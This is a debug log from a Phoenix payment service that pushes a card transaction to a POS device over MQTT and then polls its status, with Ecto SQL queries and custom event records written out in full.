- Params: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch552730079531", "externalRefNumber2" => "9554282825", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 11:44:56.388000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="users" db=0.4ms idle=785.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:56.389000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="custom_events" db=0.7ms idle=786.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:56.389000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch552730079531"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788435896,
  device_id: "98251226730002",
  amount: 120
}

[Thu Sep  3 11:44:56.390000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788435896,
    device_id: "98251226730002",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch552730079531",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:56.390041Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 11:44:56.390000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40586] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788435896, device_id: "98251226730002", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "ch552730079531", transaction_id: nil, date_added: ~U[2026-09-03 11:44:56.390041Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 11:44:56.419000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK db=27.8ms idle=788.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788435896, device_id: "98251226730002", amount: 120}, "Response From Device Online Status", "ch552730079531", ~U[2026-09-03 11:44:56Z], 36, "response_from_device_online_status", ~N[2026-09-03 11:44:56], ~N[2026-09-03 11:44:56]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:56.419000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Successfully created custom event log with ID: 40183
[Thu Sep  3 11:44:56.419000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40586] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch552730079531\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 11:44:56.480000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK db=60.0ms idle=817.7ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch552730079531", "externalRefNumber2" => "9554282825", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_22cb9ac50258@mercurypay.in", "98251226730002", "ch552730079531", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 11:44:56], ~N[2026-09-03 11:44:56]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 11:44:56.481000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="users" db=0.5ms idle=389.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:56.482000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="custom_events" db=0.5ms idle=305.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:56.482000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch552730079531"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788435896,
  qos: 1,
  device_id: "98251226730002",
  amount: 120
}

[Thu Sep  3 11:44:56.482000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788435896,
    qos: 1,
    device_id: "98251226730002",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch552730079531",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:56.482721Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 11:44:56.482000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40586] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788435896, qos: 1, device_id: "98251226730002", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "ch552730079531", transaction_id: nil, date_added: ~U[2026-09-03 11:44:56.482721Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 11:44:56.545000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK db=62.4ms idle=175.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788435896, qos: 1, device_id: "98251226730002", amount: 120}, "Request For Publish Txn", "ch552730079531", ~U[2026-09-03 11:44:56Z], 37, "request_for_publish_txn", ~N[2026-09-03 11:44:56], ~N[2026-09-03 11:44:56]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:56.546000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Successfully created custom event log with ID: 40184
[Thu Sep  3 11:44:56.546000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40586] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1112539137.170411>
[Thu Sep  3 11:44:56.546000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40586] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1112539137.170419>
[Thu Sep  3 11:44:56.547000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="users" db=0.8ms idle=235.2ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 11:44:56.550000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK source="custom_events" db=1.9ms idle=167.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 11:44:56.550000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch552730079531"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788435896,
  device_id: "98251226730002",
  amount: 120
}

[Thu Sep  3 11:44:56.550000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788435896,
    device_id: "98251226730002",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch552730079531",
  transaction_id: nil,
  date_added: ~U[2026-09-03 11:44:56.550568Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 11:44:56.550000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40586] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788435896, device_id: "98251226730002", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "ch552730079531", transaction_id: nil, date_added: ~U[2026-09-03 11:44:56.550568Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 11:44:56.592000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40586] QUERY OK db=41.4ms idle=164.2ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788435896, device_id: "98251226730002", amount: 120}, "Response From Publish Txn", "ch552730079531", ~U[2026-09-03 11:44:56Z], 38, "response_from_publish_txn", ~N[2026-09-03 11:44:56], ~N[2026-09-03 11:44:56]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 11:44:56.594000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40586] Successfully created custom event log with ID: 40185
[Thu Sep  3 11:44:56.594000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40586] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1112539137.170419>
[Thu Sep  3 11:44:56.595000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40586] Sent 200 in 289ms
[Thu Sep  3 11:45:02.756000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40090] POST /api/device/status
[Thu Sep  3 11:45:02.757000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40090] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch552730079531", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:45:02.757000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40090] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch552730079531", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 11:45:02.757000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40090] Transaction reference number: "ch552730079531"
[Thu Sep  3 11:45:02.836000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40090] QUERY OK source="pos_transaction" db=78.4ms idle=1155.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 11:45:02.840000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40090] QUERY OK source="pos_temp_transaction" db=2.4ms idle=1235.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 11:45:02.856000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40090] QUERY OK source="pos_failed_transaction" db=15.7ms idle=1238.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 11:45:02.858000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40090] QUERY OK source="cloud_transaction" db=1.8ms queue=0.1ms idle=1254.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 11:45:02.859000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40090] Sent 200 in 102ms
[Thu Sep  3 11:45:07.399000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50170] POST /api/device/status
[Thu Sep  3 11:45:07.400000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50170] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch552730079531", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:45:07.400000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50170] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch552730079531", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 11:45:07.400000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50170] Transaction reference number: "ch552730079531"
[Thu Sep  3 11:45:07.429000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50170] QUERY OK source="pos_transaction" db=26.3ms idle=1797.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 11:45:07.432000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50170] QUERY OK source="pos_temp_transaction" db=1.0ms queue=0.3ms idle=994.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 11:45:07.440000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50170] QUERY OK source="pos_terminals" db=4.6ms idle=830.9ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 11:45:07.443000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50170] QUERY OK source="brands" db=3.0ms queue=0.1ms idle=835.9ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 11:45:07.448000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50170] QUERY OK source="user_metadata" db=4.2ms queue=0.1ms idle=869.3ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 11:45:07.450000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50170] QUERY OK source="cloud_transaction" db=1.3ms idle=844.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 11:45:07.450000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50170] Sent 200 in 50ms
[Thu Sep  3 11:45:12.237000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50182] POST /api/device/status
[Thu Sep  3 11:45:12.238000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50182] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch552730079531", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 11:45:12.238000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50182] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch552730079531", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 11:45:12.238000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50182] Transaction reference number: "ch552730079531"
[Thu Sep  3 11:45:12.254000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50182] QUERY OK source="pos_transaction" db=15.0ms queue=0.1ms idle=1633.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch552730079531"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
